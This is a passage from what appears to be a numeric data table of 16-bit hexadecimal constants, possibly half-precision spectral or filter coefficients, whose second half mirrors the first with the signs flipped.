0xbbc1, 0x369b, 0x3a38, 0x412d, 0xc0ca, 0xb113, 0x4003, 0xc340,
0x3e62, 0xc145, 0x345a, 0xc045, 0x3588, 0x4007, 0x4292, 0xa254,
0x433a, 0xbab6, 0xb908, 0x4187, 0x3cf9, 0xb85f, 0x3373, 0xbe78,
0x2f72, 0x3a55, 0x3ed9, 0x398d, 0xc286, 0x3a60, 0xb4de, 0x37c8,
0xbaeb, 0x375a, 0xc277, 0xc063, 0x3b93, 0xbe11, 0x3af1, 0xb579,
0x42b3, 0xbd67, 0x34a5, 0x2c1f, 0x3cca, 0xc285, 0x4153, 0xb8bf,
0xbc9d, 0x3666, 0xb7e1, 0x40c7, 0xb61c, 0xbea8, 0x4131, 0xbecb,
0xb9b9, 0x40fe, 0xbbac, 0x40b0, 0x3abe, 0xb9b9, 0x4059, 0xc1ff,
0x40d2, 0x3b08, 0xbc4c, 0xb8b5, 0x3eb4, 0xb02c, 0xc183, 0xc0aa,
0xb898, 0x4435, 0x3f22, 0xc049, 0x3246, 0xb9e5, 0xbe88, 0xc056,
0xba52, 0x379c, 0xbbf6, 0xb8b0, 0x4101, 0xbc1c, 0xb7b6, 0x3dd1,
0x3b73, 0xb9bd, 0xb4c4, 0xc13b, 0xbb97, 0x3193, 0x3a3d, 0x432e,
0x40c4, 0xbe70, 0xbe8a, 0xbc6d, 0xb6c3, 0x3e31, 0xba2d, 0x41ab,
0xc418, 0x3a8f, 0x438b, 0xaf30, 0xbd6f, 0xac0d, 0xbaaf, 0xb8c0,
0xad6b, 0xb8df, 0xc321, 0xb503, 0x4460, 0xbe4f, 0xc2ed, 0x415f,
0x3bd4, 0xb7f2, 0x36ab, 0xb8c6, 0xbde2, 0xbda2, 0xc57f, 0x347e,
0x3cab, 0xb849, 0xbdf3, 0xc3b0, 0x3f99, 0x3fc0, 0xbe5a, 0x3a9f,
0x382e, 0x32fa, 0xb832, 0xb9a4, 0xbabc, 0xc0a5, 0xb494, 0x39f4,
0xb7e7, 0x31ab, 0xc194, 0xc457, 0x3b3a, 0x3d1d, 0xbbda, 0x3e6c,
0x2fc7, 0xc050, 0xc031, 0xc4b5, 0xb714, 0xc206, 0x3ec3, 0xc32c,
0xbdb4, 0x351f, 0xafdc, 0x428b, 0x42da, 0x33a1, 0x3936, 0x3eec,
0xb9ab, 0x3fe5, 0xbcf7, 0xbc85, 0xc023, 0x3bca, 0xbec2, 0x317f,
0x3701, 0xb4f6, 0x4064, 0x34d4, 0x3f0a, 0x3070, 0x36b9, 0xb404,
0x4499, 0x3918, 0x4021, 0x34a2, 0x4153, 0x3cd9, 0x436a, 0xb8a2,
0x318e, 0x3888, 0x4027, 0xc2ff, 0xb607, 0xc122, 0xc397, 0x3dba,
0x2cd6, 0xbcc6, 0xc1a1, 0x3684, 0x39a7, 0x37d1, 0x3e42, 0x3e14,
0x4442, 0x44c5, 0x4477, 0x41fb, 0xb5f3, 0xbfdc, 0x3c82, 0x3eac,
0xad47, 0x4347, 0xc0c3, 0x40c7, 0xbffc, 0xbcbd, 0x33a2, 0x3826,
0xc280, 0x3ada, 0x3daa, 0x4246, 0xc40d, 0xb8e7, 0xbce6, 0x3852,
0xbb96, 0x429b, 0xb8ba, 0xbd04, 0x3bba, 0xbbf2, 0xb485, 0x40d0,
0xbe29, 0x405b, 0xc446, 0x3da3, 0xbc91, 0x40fa, 0xc32a, 0x285a,
0xc1d4, 0x32a2, 0x40be, 0x3fe7, 0xbe30, 0x45b2, 0xb8eb, 0x3ce5,
0x4240, 0x309e, 0x3938, 0xc1d0, 0xbfca, 0xbf7d, 0xb955, 0xbce6,
0x3360, 0xc2d5, 0xc682, 0xbfbf, 0xc075, 0xbeae, 0x3df4, 0x3d67,
0xc106, 0x3b45, 0xbc34, 0xc429, 0xbd54, 0xbed0, 0xb961, 0xc268,
0x3ac8, 0x3bee, 0x3dc4, 0xc3bf, 0xc135, 0x42b7, 0x448f, 0xc47e,
0x3541, 0x3c38, 0x3d61, 0x41ad, 0xc040, 0x3ec4, 0x40f7, 0x43b5,
0x34bb, 0xc0dd, 0xc088, 0xb54d, 0x3c31, 0x410f, 0xbca5, 0x4245,
0x42e6, 0x3a8e, 0xaccc, 0xc015, 0xb047, 0xc199, 0xc3fa, 0xba4d,
0xb098, 0x3825, 0xb566, 0x3d11, 0x43ac, 0x3c97, 0x3f7e, 0xc076,
0x432d, 0xb2db, 0x38fb, 0x3526, 0xbcd4, 0x4120, 0xbe96, 0xbdce,
0x4360, 0xaf27, 0x3bd8, 0x4381, 0x3d87, 0x39f4, 0x2f79, 0x3897,
0x4180, 0xb867, 0xbf4b, 0xc219, 0x41d4, 0x3d69, 0x419c, 0x3e4d,
0xac51, 0x4446, 0x3662, 0x21c1, 0x372e, 0xb6f9, 0xbea2, 0x4178,
0xc2f7, 0x3f78, 0xc149, 0xc442, 0x4075, 0x445a, 0xc14c, 0xbda9,
0xc22a, 0xc0d2, 0xb8dd, 0xc1b4, 0x431b, 0xc0e2, 0xc0c2, 0xc559,
0x3984, 0x3cd3, 0xb996, 0xc2a5, 0xb992, 0xba2a, 0xb04a, 0x3623,
0xac03, 0xbc61, 0xb67b, 0xc110, 0x3a0d, 0x35df, 0x3c4d, 0xb523,
0x44c5, 0xc114, 0xc3ea, 0xc31d, 0xc2bf, 0x445e, 0xb978, 0x415e,
0xc52a, 0x3d14, 0x3b0b, 0x4212, 0xb718, 0x40b9, 0xc089, 0x4029,
0xbc48, 0xbdd1, 0x4307, 0x3df7, 0x40d9, 0x4263, 0xbe99, 0x35e6,
0x3e55, 0x3fe0, 0x38ed, 0xc078, 0x41c8, 0xb21d, 0xbae8, 0x35f3,
0x4040, 0x2eef, 0x3edb, 0x3c65, 0x3f60, 0x3c8b, 0xbc0c, 0xc02b,
0x3b16, 0xc114, 0x38ee, 0xc079, 0xc59e, 0x3d52, 0xb79f, 0x3a4b,
0xb8fc, 0x3da1, 0x41ef, 0xbfe6, 0xbf3b, 0x410d, 0xc4fd, 0x3829,
0x3e6e, 0x45b7, 0xc160, 0xc362, 0xbd87, 0xbce5, 0x4032, 0x3ed0,
0xc1e6, 0x2940, 0xc1e2, 0x406d, 0x420e, 0xbbff, 0x3fe5, 0x3630,
0xb00f, 0xb952, 0x3fa7, 0x3e2e, 0x3e49, 0x3f14, 0xbe3f, 0x3f03,
0xae10, 0x366b, 0xbc74, 0x4126, 0xb21d, 0xbc16, 0xc15c, 0xbc84,
0x401d, 0x3e33, 0xbba0, 0xacd8, 0x3756, 0xc1f8, 0x4194, 0xbff8,
0xc124, 0x400b, 0xbafa, 0x3fb9, 0x312a, 0x39b0, 0x359c, 0xc703,
0xa24d, 0x414b, 0x39ce, 0xbcba, 0x334a, 0xc16d, 0x3bb2, 0x3d37,
0xba36, 0xb61c, 0x3c8f, 0x3dea, 0xc3ad, 0x2c51, 0xbc8c, 0x2c70,
0xc48d, 0x3efd, 0x426d, 0xbc8a, 0x3fee, 0x3deb, 0xc466, 0x3ae9,
0x3c58, 0x38eb, 0xbbb5, 0x4036, 0x3f23, 0x3b43, 0xc29f, 0x431b,
0xc368, 0x42b6, 0x3040, 0x4032, 0x40ab, 0x4439, 0x3c3e, 0xc0cf,
0x3cbb, 0x3cad, 0xb518, 0xb9ce, 0x3a5c, 0x4398, 0xb27d, 0x3b69,
0x26d4, 0xb9b0, 0x4416, 0x4235, 0x3968, 0xc1a8, 0xbf21, 0xb4ee,
0xab41, 0xc046, 0x41ba, 0x401c, 0x4782, 0x3d18, 0xc455, 0xa9bd,
0x3f77, 0x4231, 0xbac6, 0x30ec, 0x4099, 0x40a5, 0x4198, 0x313c,
0xc425, 0xc407, 0xc462, 0x3ec5, 0x4343, 0x34e0, 0x3e0e, 0xbcc3,
0x4016, 0xc02b, 0x40aa, 0xb400, 0x4316, 0xbed5, 0x3b78, 0xbe04,
0x3f52, 0x3bdb, 0x4343, 0xbc47, 0x44ff, 0xbf37, 0x41bb, 0x34e9,
0xc300, 0x3a79, 0x3b9c, 0xafc2, 0xc24a, 0xa83d, 0xb34c, 0xbda1,
0x39ac, 0xb14e, 0x42d5, 0x3dfa, 0x3d5e, 0xb076, 0x3cca, 0x3cd2,
0xbf63, 0xc19f, 0x3ee8, 0x408e, 0xc084, 0x4061, 0xc045, 0xb434,
0xc239, 0x39a6, 0x3798, 0x3789, 0x391f, 0x414c, 0xbc34, 0xaefa,
0xc39a, 0xbc79, 0xc197, 0xbe53, 0x4356, 0xb961, 0x4055, 0xc10b,
0x3850, 0x3e86, 0xb8a0, 0xc02e, 0x4298, 0x40b7, 0xacb7, 0xbe4e,
0x3c14, 0x3da9, 0xb8ea, 0x288b, 0x3c54, 0xb7c2, 0xc07b, 0x3d3c,
0xc01a, 0xbf83, 0x4106, 0x33be, 0x3048, 0xc58f, 0xb41f, 0x45c1,
0x404b, 0x3865, 0x3e56, 0x42c4, 0x4266, 0x3c14, 0x2ee9, 0xb058,
0x34d4, 0x295f, 0xb2f7, 0x42de, 0x4047, 0x41ae, 0x3f59, 0x3807,
0xb4c7, 0x3c7c, 0xbc17, 0xc1a8, 0x2c17, 0x4052, 0x3e68, 0x3cb3,
0xb16e, 0xbafa, 0xbbf2, 0x419a, 0xc444, 0x3f86, 0xbeee, 0xbed0,
0xc199, 0xbe33, 0xbc06, 0xc341, 0xb66a, 0xbd4e, 0xc0f2, 0xc1a3,
0x3f43, 0xb824, 0xbe06, 0xc084, 0xc38a, 0x2c85, 0x40d2, 0x28ed,
0x410e, 0xbbff, 0x3859, 0xb954, 0xbd95, 0xc197, 0x40b6, 0xb1b3,
0xb1e5, 0xc2d1, 0x3a78, 0x2b57, 0x3d36, 0xbf52, 0x4409, 0xc2df,
0x3f94, 0xc031, 0xc263, 0xbdb0, 0xbbc9, 0xbcb1, 0x4234, 0xc085,
0x40e8, 0xbd4e, 0xc173, 0x383f, 0xb59e, 0x3a8c, 0xbfba, 0x44c2,
0xb6c2, 0xbb82, 0x4569, 0x39df, 0x4174, 0x4471, 0x410d, 0xc3c9,
0xc051, 0xa919, 0xc2a2, 0xc429, 0xbd5c, 0x44fe, 0x44eb, 0x3d84,
0xc304, 0x3924, 0xc480, 0xc036, 0xc2db, 0xb943, 0x3d2f, 0xbc05,
0x35e5, 0x43ac, 0xb904, 0x3717, 0x32cb, 0xbea8, 0x437c, 0x3e1b,
0x354a, 0xc01a, 0xaf9f, 0xbc9f, 0xc25b, 0x3cca, 0x25e5, 0xb444,
0xc03f, 0xc21d, 0x4294, 0xbeb1, 0x3e44, 0x4323, 0xbb35, 0xbf1c,
0x3e77, 0x3458, 0xbdc4, 0x4433, 0xc1f1, 0x2c2a, 0xbb52, 0xb557,
0x3c5b, 0x2ae6, 0x3075, 0x3d62, 0x3c6c, 0xbbae, 0x38a0, 0xc0e8,
0x3d1a, 0xbc67, 0xbd32, 0xb96d, 0xc0a7, 0x3593, 0x42cb, 0xba72,
0xbed8, 0xc204, 0xc10d, 0xb813, 0xb8b3, 0x4485, 0xc109, 0xc344,
0xb4b5, 0x42d5, 0x427d, 0xc33c, 0xc09e, 0xbcd9, 0x3ff8, 0x3eff,
0xbaaa, 0xc036, 0x3fe0, 0x3f73, 0x3df7, 0x4136, 0xc112, 0x3e14,
0xc0f7, 0xb613, 0xc29a, 0x448b, 0xbea0, 0xb594, 0x3d43, 0x32a1,
0x37bf, 0xbdb9, 0x410b, 0x39e0, 0x3d4e, 0x43e7, 0xc10a, 0xb5f6,
0x4120, 0xc05e, 0x4463, 0x3f5b, 0xbcba, 0xc113, 0x3edb, 0xabb8,
0xbfcf, 0x4056, 0xbec4, 0x3a8a, 0x440e, 0xb23a, 0x33b1, 0x43f5,
0x40b6, 0x4011, 0xbb8e, 0xb6dd, 0x42c3, 0x3662, 0x2e4a, 0xc43f,
0x3f76, 0xbe3d, 0x3a6d, 0x4052, 0x3e87, 0x3d61, 0x3d6f, 0x442d,
0x387b, 0xbd5a, 0x4043, 0x4113, 0xb4e0, 0x4218, 0x45ad, 0x3a95,
0xc2ab, 0xc2d6, 0xb522, 0xc24b, 0x38be, 0x4098, 0x411f, 0xbaaf,
0x2130, 0xc24e, 0xbec0, 0xba8c, 0xc752, 0xbd52, 0x4213, 0xc127,
0x43e4, 0xba0d, 0x357c, 0x37b2, 0xbf84, 0x3cda, 0xb624, 0xc4a9,
0x41c1, 0xbe37, 0xbce4, 0x3aa4, 0x403a, 0x36c3, 0xbcd7, 0xb49b,
0x3c58, 0x408c, 0x4433, 0x4043, 0xc063, 0x3fc2, 0x4106, 0xc281,
0x3cd1, 0xc0be, 0x3c1b, 0xbb63, 0x425e, 0x44f6, 0x391e, 0xadeb,
0x3c78, 0x3ebd, 0xbc7f, 0x3d00, 0xc2b9, 0x3a9a, 0xbebb, 0x3423,
0xb9de, 0x4143, 0x3dec, 0xbc6f, 0x3846, 0xbf38, 0x3d5f, 0xc31d,
0xbc67, 0xb912, 0x365c, 0xbc42, 0xc2ac, 0xc267, 0x3e3a, 0xc0c2,
0x3d2e, 0xc2b9, 0x3ec4, 0xb2d9, 0xb7e8, 0x358d, 0x4472, 0x40c5,
0xc2ab, 0xc1ff, 0x400d, 0xbb0f, 0xb2c9, 0x43fc, 0xbd97, 0xb82c,
0x42da, 0x3d23, 0x381a, 0xb91e, 0x4271, 0xbdbd, 0x42bc, 0xc02d,
0xc3dc, 0x3e18, 0xbd4d, 0xc4e0, 0xbd45, 0x4126, 0xb0ce, 0x40cd,
0x35c5, 0x363f, 0x4028, 0xc153, 0x4062, 0x3f3b, 0x44f9, 0xbe31,
0xb641, 0xc445, 0x39f3, 0xbca8, 0x2d8c, 0xbcab, 0xbfb0, 0xb10e,
0x40e6, 0xbf91, 0x3f3e, 0x3bf3, 0x37de, 0x4297, 0xb8f3, 0x3b37,
0x403c, 0xbae0, 0x4339, 0xac80, 0x3840, 0xb0ea, 0x30af, 0x43e0,
0x267f, 0xbf0b, 0xb4d9, 0x3b98, 0xc4bf, 0x417c, 0x3d37, 0xc1a5,
0x416a, 0xb1c8, 0x4092, 0x3506, 0x4048, 0x292c, 0x3dd6, 0xb873,
0x4151, 0xc096, 0x28a6, 0xbc03, 0x426e, 0x450b, 0xb34f, 0x42d5,
0x3d36, 0x2ab5, 0xc3f7, 0x40e1, 0x4200, 0x2925, 0xb62a, 0xb8b6,
0x4048, 0xbfbf, 0x1fd7, 0xc1b7, 0xc0db, 0xc17b, 0xbd84, 0xbbcd,
0x33c4, 0xc248, 0x3cd6, 0xc081, 0xbc88, 0xbd0d, 0xbdc4, 0xc456,
0x4464, 0xb984, 0x4406, 0x4402, 0xc0f8, 0xbfc6, 0xb90b, 0xb74b,
0x3e4b, 0x3eae, 0x4098, 0xbe40, 0xbe8e, 0x3d65, 0xb563, 0x4432,
0x3f87, 0x3cc9, 0xc235, 0xbdca, 0x3edc, 0xbffd, 0x41fa, 0x4465,
0xc04c, 0xc070, 0xbd19, 0xb592, 0xc049, 0x411f, 0x44b9, 0xb973,
0x3cdc, 0x3819, 0xb81b, 0x4078, 0x3bec, 0x47e6, 0xbcc4, 0x3e15,
0x3be9, 0xbdcb, 0xc02c, 0xb885, 0xbf20, 0xba3a, 0x42ba, 0x2c6a,
0xbcf4, 0x41ac, 0x36bf, 0x447f, 0xc23e, 0x42c7, 0xc023, 0x3b76,
0x42fc, 0xbaf7, 0xb78b, 0xc5da, 0xc122, 0xb79f, 0xc380, 0x4022,
0xc144, 0x35ee, 0xc39c, 0xb4b5, 0xbb7d, 0xc209, 0xb9a1, 0x422a,
0x3edc, 0xb9ab, 0xbde1, 0x3ef6, 0xbfa4, 0xb011, 0x34a5, 0xc2a5,
0x394d, 0x3f48, 0xc019, 0xb694, 0x3e2b, 0xbd57, 0xc045, 0x34a0,
0xbec7, 0xbc2f, 0x2ed5, 0x44cc, 0xc17c, 0xbcb5, 0xc07f, 0xae0b,
0x42ce, 0x37e0, 0xc3ee, 0xaaac, 0xbf54, 0x39d0, 0xc0f6, 0xbcf4,
0x4253, 0xb78e, 0x3bcf, 0xbeeb, 0x44a4, 0xbfd6, 0x3da8, 0x420f,
0x4498, 0xbf26, 0xc322, 0x4241, 0x3f08, 0xbae9, 0x3cec, 0x3f5d,
0x39f9, 0x4276, 0x3fcb, 0xbebf, 0xc07f, 0x414b, 0x3ca6, 0xbd56,
0x3c3a, 0x2eb0, 0xb17d, 0xb80b, 0xb2bc, 0x3cff, 0x430e, 0xbc85,
0xc023, 0x40a3, 0xc48c, 0xbc8f, 0x4603, 0xb3b9, 0xc2ea, 0x45a7,
0xc4bb, 0xba72, 0xc40b, 0xb706, 0xc04b, 0xb82c, 0x3f1b, 0x33c0,
0xbcda, 0xc23d, 0x3dd3, 0x42b6, 0xc00e, 0x32dd, 0x3b47, 0xbdfa,
0x390a, 0xc44c, 0x41f4, 0xbc73, 0xc098, 0xbb69, 0xc1e0, 0xbfba,
0xc217, 0x329f, 0x403f, 0xbc07, 0x3d44, 0x3e87, 0xc0ee, 0xba9f,
0xbe7c, 0xb636, 0x40ef, 0x413e, 0x30c4, 0xc6cb, 0xb5e3, 0x4186,
0x3cf1, 0x420c, 0x4214, 0xc1e3, 0xc2b4, 0x3c43, 0x3fcb, 0x439e,
0x3db5, 0x45a1, 0x22ab, 0x452e, 0xc04f, 0x3a87, 0x4480, 0xbd98,
0x3f68, 0x3763, 0xa628, 0x2dec, 0x3de5, 0x4419, 0xbefe, 0xc2a8,
0xbcb9, 0x400d, 0x3044, 0x3b14, 0x435b, 0x3d02, 0xad2c, 0xc257,
0x3c22, 0xbc03, 0x4169, 0xbd40, 0x31ee, 0x42b6, 0x295e, 0x3f6e,
0x391f, 0xbb1d, 0xb99d, 0xc049, 0xbcad, 0x4119, 0xbb87, 0xc6b8,
0x3ca6, 0x41a4, 0xbe79, 0x3621, 0xbdb0, 0x3267, 0x3f1b, 0xbec6,
0x3fc8, 0x3e21, 0x3b27, 0x3371, 0xbefc, 0x368f, 0xc01f, 0xbd61,
0xad0d, 0xbbc2, 0xbe43, 0xb6f2, 0x3a5b, 0x3feb, 0xbf48, 0x3e14,
0x42f0, 0xc057, 0xbe1f, 0xc02c, 0x3c43, 0x3c2d, 0x3e30, 0xb0eb,
0x389a, 0xbc75, 0x4359, 0xc00b, 0xbfd0, 0x40e9, 0x444f, 0x449e,
0xbfed, 0xbf33, 0xc0ad, 0xb40a, 0xb6ff, 0xa6a2, 0x2d32, 0xbc41,
0xc10a, 0x38bb, 0x3cb5, 0xbe62, 0x31c5, 0xba9f, 0xbd08, 0xc439,
0x38d7, 0x3dc5, 0x2dc3, 0x41f2, 0xc030, 0x41c9, 0xb4bc, 0x36e1,
0xb874, 0xbd18, 0xb040, 0x3eb8, 0x45d3, 0xb9b1, 0x44e0, 0x43a3,
0x3b66, 0xbe30, 0x404b, 0xbc48, 0xc02a, 0x4188, 0x355c, 0xbc77,
0x405b, 0x404c, 0x3af5, 0xc731, 0x4389, 0xbba9, 0xb889, 0x3b49,
0xbeec, 0x3f9e, 0x3ad8, 0xb8dc, 0x4128, 0xbcc3, 0xbb00, 0xc1c4,
0xc00a, 0x401a, 0xbeb1, 0xb8f0, 0x4131, 0xc27c, 0xb80f, 0xbea8,
0x3c61, 0xc1e9, 0x3c6a, 0xc520, 0x3709, 0xc574, 0xb680, 0xb578,
0x3c7a, 0x3747, 0x3897, 0xc098, 0x3d7e, 0x4015, 0x44bd, 0xbfa6,
0xc476, 0xaeb4, 0x3a1a, 0xc0b6, 0x3f57, 0xb8bb, 0xbd08, 0x3eaf,
0xb85f, 0xb323, 0x3e14, 0x3d15, 0x3cfd, 0x4567, 0x326d, 0xc172,
0x398b, 0xb7af, 0x342b, 0x38ee, 0x3681, 0x31e4, 0xb188, 0xadf0,
0x371a, 0xbee8, 0x3c17, 0x4569, 0xc4f5, 0xbd66, 0xbe9a, 0xbe70,
0x3b3d, 0x43fa, 0x411d, 0xc056, 0xbeee, 0xb755, 0x458c, 0xb8b5,
0xc4d7, 0xbcd4, 0x3dc4, 0xc1d9, 0x446c, 0xbe3c, 0xb49c, 0xb9cc,
0xc3b0, 0x40f0, 0xbdf9, 0x4536, 0x408e, 0x3b41, 0xbee3, 0x3797,
0xa6b8, 0xc2d2, 0x4587, 0xbd57, 0x4206, 0x422a, 0xc2b3, 0x4151,
0xc042, 0x3d73, 0x4069, 0x40f0, 0xc02f, 0x4325, 0xb03a, 0xbcc4,
0xb472, 0xbe97, 0xb696, 0xc054, 0xb181, 0xb776, 0x371d, 0xc270,
0x3f31, 0xbae4, 0x1931, 0xb7ab, 0x3f43, 0xc465, 0x3fd4, 0x40e7,
0x4129, 0xc0f6, 0xbc3f, 0x3a9d, 0xbcc9, 0xbf6d, 0xbd6f, 0xc278,
0xc44a, 0xc410, 0xc185, 0xb728, 0x3729, 0xa594, 0xc22f, 0xc36e,
0x4042, 0xc136, 0xc293, 0x44e0, 0x44fa, 0x3648, 0xbd31, 0x3b46,
0x4167, 0xbd15, 0x3a28, 0x3dcc, 0xbe04, 0x4337, 0x38ce, 0xc44e,
0xc20b, 0x448a, 0xb9ea, 0xbb29, 0xb8d8, 0xbe46, 0xc17b, 0xbae6,
0x42ba, 0xc394, 0xc389, 0x3857, 0x40cd, 0x41c6, 0xc05a, 0x401b,
0xb887, 0x3f89, 0xc456, 0xb899, 0x2952, 0xbed9, 0x42a5, 0xb929,
0x4189, 0x4082, 0x401a, 0x4156, 0x4073, 0x9d97, 0x43c3, 0xbc7c,
0xa0fc, 0x4035, 0xbf02, 0xc124, 0xbd0d, 0xbce1, 0xb8e2, 0xb749,
0xc430, 0x3cfb, 0x35e0, 0x421f, 0xc1ce, 0x3dd0, 0x3d00, 0xc24a,
0xbcb4, 0xbe18, 0x3dd2, 0x3b5c, 0xc043, 0x412e, 0x407a, 0x3f1a,
0xba9d, 0xc023, 0xbe59, 0x4100, 0xbb0d, 0xbcdf, 0xc0b0, 0x39a7,
0xc07c, 0xbb60, 0xb00c, 0x3622, 0xbc5b, 0xbe03, 0xc29d, 0x3af8,
0x3a74, 0xbdc2, 0x38c0, 0x40f2, 0xc0a9, 0xbc17, 0xc276, 0xbd82,
0x3d15, 0xbf5a, 0xc0e6, 0x2ef6, 0xba0d, 0x38f4, 0xbcef, 0xbeb1,
0x3fd7, 0xbfba, 0x3366, 0xbd49, 0xbe6f, 0x3f6d, 0xc0b7, 0x3c5c,
0xc1f7, 0xb67b, 0xc1a9, 0x35fe, 0xbe2e, 0xc3de, 0xc434, 0x4056,
0xc11e, 0x35b6, 0x410a, 0x4107, 0x35be, 0x4151, 0xb6ad, 0xb42c,
0xc42d, 0xc46c, 0x403c, 0x3fbe, 0x3a91, 0x4091, 0xc1fc, 0x3a27,
0xbd9a, 0xb887, 0xa87c, 0xc0fe, 0xbd72, 0xc2a3, 0xb0e3, 0x3974,
0x37a4, 0x43a8, 0x4059, 0x4442, 0x4001, 0x2f08, 0xb7b1, 0xb4fd,
0xc199, 0x3d19, 0xc270, 0x403b, 0xbef1, 0xc06c, 0xa829, 0xc116,
0x3985, 0x459a, 0xbdcc, 0xc00d, 0xb603, 0xc3cb, 0x35e4, 0xb5ba,
0x3e99, 0xbda1, 0xc18c, 0x3989, 0x9c4c, 0x4526, 0x20aa, 0x3b83,
0xbe27, 0xbecc, 0xb3a8, 0x3f2c, 0xc0b8, 0xc1de, 0xbe66, 0xbfbe,
0x39c0, 0xc1c7, 0x2de9, 0xadaa, 0x37b2, 0x3c9c, 0xad52, 0x3c4b,
0x3c76, 0x449a, 0xbb52, 0xbe8d, 0x3cd1, 0xbf5e, 0x3ea3, 0x40fe,
0x41c4, 0xb241, 0x3b86, 0x3e9f, 0x43ad, 0xbd71, 0x391d, 0x3d78,
0x30b0, 0x35af, 0xb807, 0x3c4b, 0x3662, 0xc314, 0xc13c, 0x3dc7,
0x448a, 0x343b, 0x388e, 0x3e50, 0x4248, 0x408e, 0x4213, 0xc368,
0x4216, 0x435f, 0xba92, 0xb56d, 0x3c47, 0x407d, 0xc2e5, 0xb73d,
0xb3f0, 0xbc4f, 0xc140, 0xb99f, 0xb98f, 0xc0cd, 0x2a88, 0xbe0c,
0xb24b, 0x0, 0x2a88, 0x3e0c, 0xb98f, 0x40cd, 0xc140, 0x399f,
0xb3f0, 0x3c4f, 0xc2e5, 0x373d, 0x3c47, 0xc07d, 0xba92, 0x356d,
0x4216, 0xc35f, 0x4213, 0x4368, 0x4248, 0xc08e, 0x388e, 0xbe50,
0x448a, 0xb43b, 0xc13c, 0xbdc7, 0x3662, 0x4314, 0xb807, 0xbc4b,
0x30b0, 0xb5af, 0x391d, 0xbd78, 0x43ad, 0x3d71, 0x3b86, 0xbe9f,
0x41c4, 0x3241, 0x3ea3, 0xc0fe, 0x3cd1, 0x3f5e, 0xbb52, 0x3e8d,
0x3c76, 0xc49a, 0xad52, 0xbc4b, 0x37b2, 0xbc9c, 0x2de9, 0x2daa,
0x39c0, 0x41c7, 0xbe66, 0x3fbe, 0xc0b8, 0x41de, 0xb3a8, 0xbf2c,
0xbe27, 0x3ecc, 0x20aa, 0xbb83, 0x9c4c, 0xc526, 0xc18c, 0xb989,
0x3e99, 0x3da1, 0x35e4, 0x35ba, 0xb603, 0x43cb, 0xbdcc, 0x400d,
0x3985, 0xc59a, 0xa829, 0x4116, 0xbef1, 0x406c, 0xc270, 0xc03b,
0xc199, 0xbd19, 0xb7b1, 0x34fd, 0x4001, 0xaf08, 0x4059, 0xc442,
0x37a4, 0xc3a8, 0xb0e3, 0xb974, 0xbd72, 0x42a3, 0xa87c, 0x40fe,
0xbd9a, 0x3887, 0xc1fc, 0xba27, 0x3a91, 0xc091, 0x403c, 0xbfbe,
0xc42d, 0x446c, 0xb6ad, 0x342c, 0x35be, 0xc151, 0x410a, 0xc107,
0xc11e, 0xb5b6, 0xc434, 0xc056, 0xbe2e, 0x43de, 0xc1a9, 0xb5fe,
0xc1f7, 0x367b, 0xc0b7, 0xbc5c, 0xbe6f, 0xbf6d, 0x3366, 0x3d49,
0x3fd7, 0x3fba, 0xbcef, 0x3eb1, 0xba0d, 0xb8f4, 0xc0e6, 0xaef6,
0x3d15, 0x3f5a, 0xc276, 0x3d82, 0xc0a9, 0x3c17, 0x38c0, 0xc0f2,
0x3a74, 0x3dc2, 0xc29d, 0xbaf8, 0xbc5b, 0x3e03, 0xb00c, 0xb622,
0xc07c, 0x3b60, 0xc0b0, 0xb9a7, 0xbb0d, 0x3cdf, 0xbe59, 0xc100,
0xba9d, 0x4023, 0x407a, 0xbf1a, 0xc043, 0xc12e, 0x3dd2, 0xbb5c,
0xbcb4, 0x3e18, 0x3d00, 0x424a, 0xc1ce, 0xbdd0, 0x35e0, 0xc21f,
0xc430, 0xbcfb, 0xb8e2, 0x3749, 0xbd0d, 0x3ce1, 0xbf02, 0x4124,
0xa0fc, 0xc035, 0x43c3, 0x3c7c, 0x4073, 0x1d97, 0x401a, 0xc156,
0x4189, 0xc082, 0x42a5, 0x3929, 0x2952, 0x3ed9, 0xc456, 0x3899,
0xb887, 0xbf89, 0xc05a, 0xc01b, 0x40cd, 0xc1c6, 0xc389, 0xb857,
0x42ba, 0x4394, 0xc17b, 0x3ae6, 0xb8d8, 0x3e46, 0xb9ea, 0x3b29,
0xc20b, 0xc48a, 0x38ce, 0x444e, 0xbe04, 0xc337, 0x3a28, 0xbdcc,
0x4167, 0x3d15, 0xbd31, 0xbb46, 0x44fa, 0xb648, 0xc293, 0xc4e0,
0x4042, 0x4136, 0xc22f, 0x436e, 0x3729, 0x2594, 0xc185, 0x3728,
0xc44a, 0x4410, 0xbd6f, 0x4278, 0xbcc9, 0x3f6d, 0xbc3f, 0xba9d,
0x4129, 0x40f6, 0x3fd4, 0xc0e7, 0x3f43, 0x4465, 0x1931, 0x37ab,
0x3f31, 0x3ae4, 0x371d, 0x4270, 0xb181, 0x3776, 0xb696, 0x4054,
0xb472, 0x3e97, 0xb03a, 0x3cc4, 0xc02f, 0xc325, 0x4069, 0xc0f0,
0xc042, 0xbd73, 0xc2b3, 0xc151, 0x4206, 0xc22a, 0x4587, 0x3d57,
0xa6b8, 0x42d2, 0xbee3, 0xb797, 0x408e, 0xbb41, 0xbdf9, 0xc536,
0xc3b0, 0xc0f0, 0xb49c, 0x39cc, 0x446c, 0x3e3c, 0x3dc4, 0x41d9,
0xc4d7, 0x3cd4, 0x458c, 0x38b5, 0xbeee, 0x3755, 0x411d, 0x4056,
0x3b3d, 0xc3fa, 0xbe9a, 0x3e70, 0xc4f5, 0x3d66, 0x3c17, 0xc569,
0x371a, 0x3ee8, 0xb188, 0x2df0, 0x3681, 0xb1e4, 0x342b, 0xb8ee,
0x398b, 0x37af, 0x326d, 0x4172, 0x3cfd, 0xc567, 0x3e14, 0xbd15,
0xb85f, 0x3323, 0xbd08, 0xbeaf, 0x3f57, 0x38bb, 0x3a1a, 0x40b6,
0xc476, 0x2eb4, 0x44bd, 0x3fa6, 0x3d7e, 0xc015, 0x3897, 0x4098,
0x3c7a, 0xb747, 0xb680, 0x3578, 0x3709, 0x4574, 0x3c6a, 0x4520,
0x3c61, 0x41e9, 0xb80f, 0x3ea8, 0x4131, 0x427c, 0xbeb1, 0x38f0,
0xc00a, 0xc01a, 0xbb00, 0x41c4, 0x4128, 0x3cc3, 0x3ad8, 0x38dc,
0xbeec, 0xbf9e, 0xb889, 0xbb49, 0x4389, 0x3ba9, 0x3af5, 0x4731,
0x405b, 0xc04c, 0x355c, 0x3c77, 0xc02a, 0xc188, 0x404b, 0x3c48,
0x3b66, 0x3e30, 0x44e0, 0xc3a3, 0x45d3, 0x39b1, 0xb040, 0xbeb8,
0xb874, 0x3d18, 0xb4bc, 0xb6e1, 0xc030, 0xc1c9, 0x2dc3, 0xc1f2,
